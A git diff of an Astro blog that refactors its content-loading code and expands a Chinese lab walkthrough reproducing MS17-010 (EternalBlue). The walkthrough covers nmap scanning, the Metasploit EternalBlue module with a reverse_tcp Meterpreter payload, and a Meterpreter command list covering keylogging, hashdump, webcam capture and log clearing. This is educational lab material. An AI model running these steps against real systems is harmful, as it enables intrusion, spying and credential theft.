diff --git a/src/components/ArticleList.astro b/src/components/ArticleList.astro deleted file mode 100644 index 1e7004f..0000000 --- a/src/components/ArticleList.astro +++ /dev/null @@ -1,31 +0,0 @@ ---- -import { getCollection } from 'astro:content'; -import type { CollectionEntry } from 'astro:content'; - -// 获取所有文章,并按日期排序 -const articles: CollectionEntry<'articles'>[] = await getCollection('articles'); -const sortedArticles = articles.sort( - (a, b) => b.data.date.getTime() - a.data.date.getTime() -); ---- -
-

文章列表

- -
\ No newline at end of file diff --git a/src/components/ArticleTimeline.astro b/src/components/ArticleTimeline.astro index c879401..4d0080e 100644 --- a/src/components/ArticleTimeline.astro +++ b/src/components/ArticleTimeline.astro @@ -3,13 +3,11 @@ import type { CollectionEntry } from 'astro:content'; interface Props { title?: string; - itemsPerPage?: number; articles: CollectionEntry<'articles'>[]; } const { title = "文章时间线", - itemsPerPage = 10, articles = [] } = Astro.props; diff --git a/src/content.config.ts b/src/content.config.ts index 6a75420..4d66bb1 100644 --- a/src/content.config.ts +++ b/src/content.config.ts @@ -1,8 +1,6 @@ // 1. 从 `astro:content` 导入工具函数 -import { defineCollection, z } from 'astro:content'; +import { defineCollection, z, getCollection, type CollectionEntry } from 'astro:content'; import { glob } from 'astro/loaders'; -import fs from 'node:fs'; -import path from 'node:path'; // 2. 定义内容结构接口 export interface ContentStructure { @@ -19,22 +17,15 @@ export interface SectionStructure { // 辅助函数:获取相对于content目录的路径 export function getRelativePath(fullPath: string, basePath = './src/content'): string { - // 统一路径分隔符 const normalizedPath = fullPath.replace(/\\/g, '/'); const normalizedBasePath = basePath.replace(/\\/g, '/'); - // 移除基础路径 let relativePath = normalizedPath; - - // 如果路径包含基础路径,则移除它 if (normalizedPath.includes(normalizedBasePath)) { relativePath = normalizedPath.replace(normalizedBasePath, ''); } - // 移除开头的斜杠 relativePath = relativePath.startsWith('/') ? relativePath.substring(1) : relativePath; - - // 如果路径以articles/开头,移除它(适配Astro内容集合) if (relativePath.startsWith('articles/')) { relativePath = relativePath.substring('articles/'.length); } @@ -44,129 +35,124 @@ export function getRelativePath(fullPath: string, basePath = './src/content'): s // 辅助函数:从文件路径中提取文件名(不带扩展名) export function getBasename(filePath: string): string { - // 统一路径分隔符 const normalizedPath = filePath.replace(/\\/g, '/'); - - // 分割路径并获取最后一部分(文件名) const parts = normalizedPath.split('/'); const fileName = parts[parts.length - 1]; - - // 移除扩展名 - const basename = fileName.replace(/\.(md|mdx)$/, ''); - - return basename; + return fileName.replace(/\.(md|mdx)$/, ''); } // 辅助函数:从文件路径中提取目录路径 export function getDirPath(filePath: string, basePath = './src/content'): string { const basename = getBasename(filePath); const relativePath = getRelativePath(filePath, basePath); - - // 移除文件名部分,获取目录路径 - const dirPath = relativePath.replace(`${basename}.md`, '').replace(/\/$/, ''); - - return dirPath; + return relativePath.replace(`${basename}.md`, '').replace(/\/$/, ''); } -// 辅助函数:获取原始文件路径(移除特殊前缀) -export function getOriginalPath(specialPath: string): string { - // 检查路径是否包含特殊前缀 - const parts = specialPath.split('/'); - const fileName = parts[parts.length - 1]; - - // 如果文件名以下划线开头,移除它 - if (fileName.startsWith('_')) { - const originalFileName = fileName.substring(1); - const newParts = [...parts.slice(0, -1), originalFileName]; - return newParts.join('/'); - } - - return specialPath; -} - -// 辅助函数:获取特殊文件路径(添加特殊前缀) +// 辅助函数:获取特殊文件路径 export function getSpecialPath(originalPath: string): string { - // 检查文件名是否与其所在目录名相同或包含目录名 const parts = originalPath.split('/'); - const fileName = parts[parts.length - 1].replace(/\.md$/, ''); + const fileName = parts[parts.length - 1]; + const dirName = parts.length > 1 ? parts[parts.length - 2] : ''; - // 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀 - if (parts.length > 1) { - const dirName = parts[parts.length - 2]; - if (fileName.toLowerCase() === dirName.toLowerCase() || fileName.toLowerCase().startsWith(dirName.toLowerCase())) { - // 创建一个新的路径,在文件名前添加下划线前缀 - const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`; - const fileExt = originalPath.endsWith('.md') ? '.md' : ''; - const newParts = [...parts.slice(0, -1), newFileName + fileExt]; - return newParts.join('/'); - } + // 如果文件名与目录名相同,添加下划线前缀 + if (dirName && fileName.toLowerCase() === dirName.toLowerCase()) { + const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`; + return [...parts.slice(0, -1), newFileName].join('/'); } return originalPath; } -// 3. 定义目录结构处理函数 -function getContentStructure(contentDir = './src/content', basePath = './src/content'): ContentStructure { - // 检查目录是否存在 - if (!fs.existsSync(contentDir)) { - return { articles: [], sections: [] }; - } - // 获取目录下的所有文件和文件夹 - const items = fs.readdirSync(contentDir, { withFileTypes: true }); +// 辅助函数:标准化文件名 +function normalizeFileName(fileName: string): string { + // 先转换为小写 + let normalized = fileName.toLowerCase(); - // 分离文章和目录 - const articles = items - .filter(item => item.isFile() && item.name.endsWith('.md')) - .map(item => { - // 生成相对于content目录的路径,用于在页面中查找文章 - const fullPath = path.join(contentDir, item.name); - // 将路径转换为相对于content目录的格式,并移除basePath - const relativePath = fullPath.replace(basePath, '').replace(/^[\/\\]/, ''); + // 保存括号中的内容 + const bracketContent = normalized.match(/[((](.*?)[))]/)?.[1] || ''; + + // 标准化处理 + normalized = normalized + .replace(/[((].*?[))]/g, '') // 移除括号及其内容 + .replace(/[【】\[\]]/g, '') // 移除方括号 + .replace(/[—–]/g, '-') // 统一全角横线为半角 + .replace(/\s+/g, '-') // 空格转换为连字符 + .replace(/[.:;,'"!?`]/g, '') // 移除标点符号 + .replace(/-+/g, '-') // 合并多个连字符 + .replace(/^-|-$/g, ''); // 移除首尾连字符 + + // 如果括号中有内容,将其添加回去 + if (bracketContent) { + normalized = `${normalized}-${bracketContent}`; + } + + return normalized; +} + +// 3. 定义目录结构处理函数 +async function getContentStructure(): Promise { + // 获取所有文章 + const allArticles = await getCollection('articles'); + const articlePaths = allArticles.map((entry: CollectionEntry<'articles'>) => entry.id); + + // 构建目录树 + const sections = new Map(); + + // 处理每个文章路径 + for (const articlePath of articlePaths) { + const parts = articlePath.split('/'); + const fileName = parts[parts.length - 1]; + const dirPath = parts.slice(0, -1); + + // 为每一级目录创建或更新节点 + let currentPath = ''; + for (const part of dirPath) { + const parentPath = currentPath; + currentPath = currentPath ? `${currentPath}/${part}` : part; - // 检查文件名是否与其所在目录名相同或包含目录名 - const pathParts = relativePath.split(/[\/\\]/); - const fileName = pathParts[pathParts.length - 1].replace(/\.md$/, ''); - - // 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀 - if (pathParts.length > 1) { - const dirName = pathParts[pathParts.length - 2]; - if (fileName === dirName || fileName.startsWith(dirName)) { - // 创建一个新的路径,在文件名前添加下划线前缀 - const newFileName = `_${fileName}.md`; - const newPathParts = [...pathParts.slice(0, -1), newFileName]; - return newPathParts.join('/'); - } + if (!sections.has(currentPath)) { + sections.set(currentPath, { + name: part, + path: currentPath, + articles: [], + sections: [] + }); } - return relativePath.replace(/\\/g, '/'); - }); + // 将当前节点添加到父节点的子节点列表中 + if (parentPath) { + const parentSection = sections.get(parentPath); + if (parentSection && !parentSection.sections.find(s => s.path === currentPath)) { + parentSection.sections.push(sections.get(currentPath)!); + } + } + } + + // 将文章添加到其所在目录 + if (dirPath.length > 0) { + const dirFullPath = dirPath.join('/'); + const section = sections.get(dirFullPath); + if (section) { + section.articles.push(articlePath); + } + } + } - // 获取子目录(作为章节) - const sections: SectionStructure[] = items - .filter(item => item.isDirectory()) - .map(item => { - const sectionPath = path.join(contentDir, item.name); - // 递归获取子目录的结构 - const sectionContent: ContentStructure = getContentStructure(sectionPath, basePath); - - // 确保路径格式正确,并移除basePath - const relativePath = sectionPath.replace(basePath, '').replace(/^[\/\\]/, ''); - const normalizedPath = relativePath.replace(/\\/g, '/'); - - return { - name: item.name, - path: normalizedPath, - articles: sectionContent.articles, - sections: sectionContent.sections - }; - }); + // 获取顶级目录 + const topLevelSections = Array.from(sections.values()) + .filter(section => !section.path.includes('/')); - return { articles, sections }; + // 获取顶级文章(不在任何子目录中的文章) + const topLevelArticles = articlePaths.filter((path: string) => !path.includes('/')); + + return { + articles: topLevelArticles, + sections: topLevelSections + }; } // 4. 定义你的集合 const articles = defineCollection({ - // 使用glob加载器从content目录加载所有markdown文件 loader: glob({ pattern: "**/*.md", base: "./src/content" @@ -179,15 +165,13 @@ const articles = defineCollection({ image: z.string().optional(), author: z.string().optional(), draft: z.boolean().optional().default(false), - // 添加section字段,用于标识文章所属的目录 section: z.string().optional(), - // 添加weight字段,用于排序 weight: z.number().optional(), }), }); -// 6. 导出一个 `collections` 对象来注册你的集合 +// 5. 导出一个 `collections` 对象来注册你的集合 export const collections = { articles }; -// 7. 导出内容结构,可以在构建时使用 -export const contentStructure = getContentStructure(); +// 6. 导出内容结构 +export const contentStructure = await getContentStructure(); diff --git a/src/content/VPN/dns 解锁.md b/src/content/VPN/dns 解锁.md new file mode 100644 index 0000000..294bac0 --- /dev/null +++ b/src/content/VPN/dns 解锁.md @@ -0,0 +1,11 @@ +--- +title: "dns 解锁" +date: 2025-01-18 14:19:00Z +tags: [] +--- + +## 1. 安装dnsmasq + +```bash +yum install dnsmasq -y +``` \ No newline at end of file diff --git a/src/content/code/ms17-010(永恒之蓝)漏洞复现.md b/src/content/code/ms17-010(永恒之蓝)漏洞复现.md index a4f2182..8f893f9 100644 --- a/src/content/code/ms17-010(永恒之蓝)漏洞复现.md +++ b/src/content/code/ms17-010(永恒之蓝)漏洞复现.md @@ -1,95 +1,104 @@ --- title: "Ms17 010(永恒之蓝)漏洞复现" -date: 2024-06-30T00:55:27+08:00 +date: 2024-06-30T00:55:27Z tags: [] --- -## 一、前言 +### 一. 前言 -### 1. 漏洞描述 +#### 1. 漏洞描述 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 -### 2. 漏洞影响 +#### 2.漏洞影响 目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。 -## 二、复现环境 +### 二. 复现环境 * 虚拟环境搭建:`VMware Workstation 17 pro` + * 网络模式:`NAT` + * 攻击机:`kali Linux WSL` * 攻击机IP:`192.168.97.173` * 攻击工具:`nmap` `metasploit(MSF)` + * 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**) * 靶机IP:`192.168.97.128` -## 三、启动 MSF +### 三. 启动 MSF 1. 安装MSF + ```bash curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall ``` - 2. 进入框架 + ```bash msfconsole ``` - 3. 初始化 + ```bash init ``` -## 四、寻找主机 -### 1. ipconfig -使用`ipconfig`分别查看win7和kali中的ip地址 +### 四. 寻找主机 -### 2. nmap -```bash -nmap -T5 -sP 192.168.97.0/24 -``` +* **ipconfig** -* **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 -* **​`-sP`​**:执行 Ping 连接扫描。 -* **​`192.168.97.0/24`​**:扫描指定的 IP 地址范围。 + 使用`ipconfig`分别查看win7和kali中的ip地址 +* **nmap** -| **IP地址** | 私有ip范围 | 子网掩码 | CIDR | -|------------|------------|-----------|------| -| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 | -| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 | -| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 | + ```bash + nmap -T5 -sP 192.168.97.0/24 + ``` -## 五、端口扫描 + * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 + * **​`-sP`​**:执行 Ping 连接扫描。 + * **​`192.168.97.0/24`​**:扫描指定的 IP 地址范围。 -### 1. nmap -```bash -nmap -T5 -sT 192.168.97.128 -``` -* **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 -* **​`-sT`​**:执行 TCP 连接扫描。 -* **​`192.168.97.128`​**:扫描指定的 IP + | **IP地址**
| | | | + | --------- | :----------------------------- | :-------------- | :--------------- | + | | 私有ip范围 | 子网掩码 | CIDR | + | A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 | + | B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 | + | C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 | -### 2. MSF 端口扫描 +### 五. 端口扫描 -1. 使用模块 - ```bash - use auxiliary/scanner/portscan/tcp - ``` +* **nmap** -2. 设置扫描ip - ```bash - set rhosts 192.168.97.128 - ``` + ```bash + nmap -T5 -sT 192.168.97.128 + ``` -3. 运行 - ```bash - run - ``` + * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 + * **​`-sT`​**:执行 TCP 连接扫描。 + * **​`192.168.97.128`​**:扫描指定的 IP +* **MSF** 端口扫描 -## 六、查找永恒之蓝漏洞 + 1. 使用模块 + + ```bash + use auxiliary/scanner/portscan/tcp + ``` + 2. 设置扫描ip + + ```bash + set rhosts 192.168.97.128 + ``` + 3. 运行 + + ```bash + run + ``` + +### 六. 查找永恒之蓝漏洞 微软 永恒之蓝 编号`ms17-010` @@ -98,79 +107,354 @@ search ms17_010 ``` 1. `exploit/windows/smb/ms17_010_eternalblue` + * 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。 * EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。 * 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。 - 2. `exploit/windows/smb/ms17_010_psexec` + * 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。 * 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。 * 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。 - 3. `auxiliary/admin/smb/ms17_010_command` + * 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。 * 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。 * 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。 - 4. `auxiliary/scanner/smb/smb_ms17_010` + * 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。 * 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。 -## 七、漏洞检测 +### 七. 漏洞检测 -### 1. 使用探测模块 +* 使用探测模块 -1. 使用`Auxiliary`辅助探测模块 - ```bash - use auxiliary/scanner/smb/smb_ms17_010 - ``` - 或 - ```bash - use 24 - ``` + 1. 使用`Auxiliary`辅助探测模块 -2. 查看需要配置的参数 - ```bash - show options - ``` + ```bash + use auxiliary/scanner/smb/smb_ms17_010 + ``` -3. 设置目标主机地址 - ```bash - set rhosts 192.168.97.128 - ``` + 或 -4. 运行 - ```bash - run - ``` + ```bash + use 24 + ``` + 2. 查看需要配置的参数 -### 2. nmap -```bash -nmap --script smb-vuln-ms17-010 192.168.97.128 -``` + ```bash + show options + ``` + 3. 设置目标主机地址 -## 八、漏洞攻击 + ```bash + set rhosts 192.168.97.128 + ``` + 4. 运行 + + ```bash + run + ``` +* nmap + + ```bash + nmap --script smb-vuln-ms17-010 192.168.97.128 + ``` + +### 八. 漏洞攻击 1. 加载 ms17-010 攻击模块 + ```bash use exploit/windows/smb/ms17_010_eternalblue ``` - 2. 设置目标主机地址 + ```bash set rhosts 192.168.97.128 ``` - 3. 设置连接方式为反向连接 + ```bash set payload windows/x64/meterpreter/reverse_tcp ``` - 4. 运行 + ```bash run ``` -## 九、Meterpreter命令用法 -[命令列表和详细说明...] \ No newline at end of file +### Meterpreter的命令用法 + +```bash +========================================== +核心命令: +========================================== +命令 说明 +------- ------------ +? 帮助菜单 +background 把当前会话挂到后台运行 +bg background命令的别名 +bgkill 杀死后台meterpreter 脚本 +bglist 列出正在运行的后台脚本 +bgrun 执行一个meterpreter脚本作为后台线程 +channel 显示信息或控制活动频道 +close 关闭一个频道 +detach 分离Meterpreter会话(用于 http/https) +disable_unicode_encoding 禁用 unicode 字符串的编码 +enable_unicode_encoding 启用 unicode 字符串的编码 +exit 终止 Meterpreter 会话 +get_timeouts 获取当前会话超时值 +guid 获取会话 GUID +help 帮助菜单 +info 显示有关 Post 模块的信息 +irb 在当前会话中打开一个交互式 Ruby shell +load 加载一个或多个 Meterpreter 扩展 +machine_id 获取连接到会话的机器的 MSF ID +migrate 将服务器迁移到另一个进程 +pivot 管理枢轴侦听器 +pry 在当前会话上打开 Pry 调试器 +quit 终止 Meterpreter 会话 +read 从通道读取数据 +resource 运行存储在文件中的命令 +run 执行一个 Meterpreter 脚本或 Post 模块 +secure (重新)协商会话上的 TLV 数据包加密 +sessions 快速切换到另一个会话 +set_timeouts 设置当前会话超时值 +sleep 强制 Meterpreter 安静,然后重新建立会话 +ssl_verify 修改 SSL 证书验证设置 +transport 管理运输机制 +use 不推荐使用的load命令别名 +uuid 获取当前会话的 UUID +write 将数据写入通道 + +========================================== +Stdapi:文件系统命令 +========================================== + +命令 说明 +------- ------------ +cat 将文件内容读到屏幕上 +cd 切换目录 +checksum 检索文件的校验和 +cp 将源复制到目标 +del 删除指定文件 +dir 列出文件(ls 的别名) +download 下载文件或目录 +edit 编辑文件 +getlwd 打印本地工作目录 +getwd 打印工作目录 +lcd 更改本地工作目录 +lls 列出本地文件 +lpwd 打印本地工作目录 +ls 列出文件 +mkdir 制作目录 +mv 将源移动到目标 +pwd 打印工作目录 +rm 删除指定文件 +rmdir 删除目录 +search 搜索文件 +show_mount 列出所有挂载点/逻辑驱动器 +upload 上传文件或目录 + +========================================== +Stdapi:网络命令 +========================================== +命令 说明 +------- ------------ +arp 显示主机 ARP 缓存 +getproxy 显示当前代理配置 +ifconfig 显示界面 +ipconfig 显示接口 +netstat 显示网络连接 +portfwd 将本地端口转发到远程服务 +resolve 解析目标上的一组主机名 +route 查看和修改路由表 + +========================================== +Stdapi:系统命令 +========================================== +命令 说明 +------- ------------ +clearev 清除事件日志 +drop_token 放弃任何活动的模拟令牌。 +execute 执行命令 +getenv 获取一个或多个环境变量值 +getpid 获取当前进程标识符 +getprivs 尝试启用当前进程可用的所有权限 +getid 获取服务器运行的用户的 SID +getuid 获取服务器运行的用户 +kill 终止进程 +localtime 显示目标系统本地日期和时间 +pgrep 按名称过滤进程 +pkill 按名称终止进程 +ps 列出正在运行的进程 +reboot 重启远程计算机 +reg 修改远程注册表并与之交互 +rev2self 在远程机器上调用 RevertToSelf() +shell 放入系统命令 shell +shutdown 关闭远程计算机 +steal_token 尝试从目标进程窃取模拟令牌 +suspend 暂停或恢复进程列表 +sysinfo 获取有关远程系统的信息,例如 OS + +========================================== +Stdapi:用户界面命令 +========================================== +命令 说明 +------- ------------ +enumdesktops 列出所有可访问的桌面和窗口站 +getdesktop 获取当前的meterpreter桌面 +idletime 返回远程用户空闲的秒数 +keyboard_send 发送击键 +keyevent 发送按键事件 +keyscan_dump 转储击键缓冲区 +keyscan_start 开始捕获击键 +keyscan_stop 停止捕获击键 +mouse 发送鼠标事件 +screenshare 实时观看远程用户桌面 +screenshot 抓取交互式桌面的截图 +setdesktop 更改meterpreters当前桌面 +uictl 控制一些用户界面组件 + +========================================== +Stdapi:网络摄像头命令: +========================================== +命令 说明 +------- ------------ +record_mic 从默认麦克风录制音频 X 秒 +webcam_chat 开始视频聊天 +webcam_list 列出网络摄像头 +webcam_snap 从指定的网络摄像头拍摄快照 +webcam_stream 从指定的网络摄像头播放视频流 + +========================================== +Stdapi:音频输出命令: +========================================== +命令 说明 +------- ------------ +play 在目标系统上播放波形音频文件 (.wav) + +========================================== +Priv:权限提升命令: +========================================== +命令 说明 +------- ------------ +getsystem 尝试将您的权限提升到本地系统的权限。 + +========================================== +Priv:密码数据库命令: +========================================== +命令 说明 +------- ------------ +hashdump 转储 SAM 数据库的内容 + +========================================== +Priv:Timestomp 命令: +========================================== +命令 说明 +------- ------------ +timestomp 操作文件 MACE 属性 +``` + +### 使用发放 + +#### 基础使用: + +* 进入框架 + + ```bash + msfconsole + ``` +* 查找漏洞 + + ```bash + search 漏洞编号 + ``` +* 使用模块 + + ```bash + run + ``` + + +#### Meterpreter工作原理: + +> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。 + +#### 漏洞利用(exploit): + +> 漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。 + +exploit漏洞利用模块路径(这里面有针对不同平台的exploit): + +```php +/usr/share/metasploit-framework/modules/exploits +``` + +#### 攻击载荷(payload): + +> Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。 + +> Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。 + +##### payload模块路径: + +```php +/usr/share/metasploit-framework/modules/payloads +``` + +##### Metasploit中的 Payload 模块主要有以下三种类型: + +* Single: + + > 是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。 + > +* Stager: + + > 这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。   + > +* Stage: + + > 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。 + > + +##### 几种常见的payload: + +* 正向连接 + + ```bash + windows/meterpreter/bind_tcp + ``` +* 反向连接 + + ```bash + windows/meterpreter/reverse_tcp + ``` +* 过监听80端口反向连接 + + ```bash + windows/meterpreter/reverse_http + ``` +* 通过监听443端口反向连接 + + ```bash + windows/meterpreter/reverse_https + ``` + +##### **使用场景** + +* 正向连接使用场景: + + > 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。 + > +* 反向连接使用场景: + + > 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。 + > +* 反向连接80和443端口使用场景: + + > 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。 + > \ No newline at end of file diff --git a/src/pages/articles/index.astro b/src/pages/articles/index.astro index 5aba13a..20216d6 100644 --- a/src/pages/articles/index.astro +++ b/src/pages/articles/index.astro @@ -1,7 +1,7 @@ --- import { getCollection } from 'astro:content'; import type { CollectionEntry } from 'astro:content'; -import { contentStructure, getRelativePath, getBasename, getDirPath, getSpecialPath } from '../../content.config'; +import { contentStructure } from '../../content.config'; import Layout from '@/components/Layout.astro'; import Breadcrumb from '@/components/Breadcrumb.astro'; import ArticleTimeline from '@/components/ArticleTimeline.astro'; @@ -194,7 +194,7 @@ interface Breadcrumb { // 处理特殊ID的函数 function getArticleUrl(articleId: string) { - return `/articles/${getSpecialPath(articleId)}`; + return `/articles/${articleId}`; } --- @@ -343,89 +343,13 @@ function getArticleUrl(articleId: string) { ) : ( // 显示当前目录的文章 currentArticles.map(articlePath => { - // 获取文章ID - const articleId = getRelativePath(articlePath); + // 获取文章ID - 不需要移除src/content前缀,因为contentStructure中已经是相对路径 + const articleId = articlePath; - // 尝试不同的方式匹配文章 - const article = articles.find(a => { - // 1. 直接匹配完整路径 - if (a.id.toLowerCase() === articleId.toLowerCase()) { - return true; - } - - // 2. 匹配文件名(不含路径和扩展名) - const baseName = getBasename(articleId); - if (a.id.toLowerCase() === baseName.toLowerCase()) { - return true; - } - - // 3. 尝试匹配相对路径的一部分 - const articleParts = articleId.split('/'); - const fileName = articleParts[articleParts.length - 1]; - if (a.id.toLowerCase().endsWith(fileName.toLowerCase())) { - return true; - } - - // 4. 移除.md扩展名后匹配 - const idWithoutExt = articleId.replace(/\.md$/, ''); - if (a.id.toLowerCase() === idWithoutExt.toLowerCase()) { - return true; - } - - // 5. 处理多级目录结构 - // 如果文章ID包含目录路径,尝试匹配最后的文件名部分 - const articlePathParts = articlePath.split('/'); - const articleFileName = articlePathParts[articlePathParts.length - 1]; - const articleIdParts = a.id.split('/'); - const articleIdFileName = articleIdParts[articleIdParts.length - 1]; - - if (articleFileName.toLowerCase() === articleIdFileName.toLowerCase()) { - return true; - } - - // 6. 移除扩展名后比较文件名 - const fileNameWithoutExt = articleFileName.replace(/\.md$/, ''); - if (articleIdFileName.toLowerCase() === fileNameWithoutExt.toLowerCase()) { - return true; - } - - return false; - }); + // 尝试匹配文章 + const article = articles.find(a => a.id === articleId); if (!article) { - // 尝试直接使用 getSpecialPath 处理文章ID - const specialId = getSpecialPath(articleId); - const articleWithSpecialPath = articles.find(a => a.id.toLowerCase() === specialId.toLowerCase()); - - if (articleWithSpecialPath) { - return ( - -
-
- - - -
-
-

{articleWithSpecialPath.data.title}

- {articleWithSpecialPath.body && ( -

- {extractSummary(articleWithSpecialPath.body)} -

- )} -
- - 阅读全文 -
-
-
-
- ); - } - return (
@@ -436,9 +360,14 @@ function getArticleUrl(articleId: string) {

文章不存在

-

ID: {articleId}

-
- 可能需要特殊路径处理,请检查文件名是否与目录名相同或包含目录名 +

+

原始路径: {articlePath}
+
文章ID: {articleId}
+
当前目录: {currentPath}
+

+
+
可用的文章ID:
+
{articles.map(a => a.id).join(', ')}
@@ -447,7 +376,7 @@ function getArticleUrl(articleId: string) { } return ( -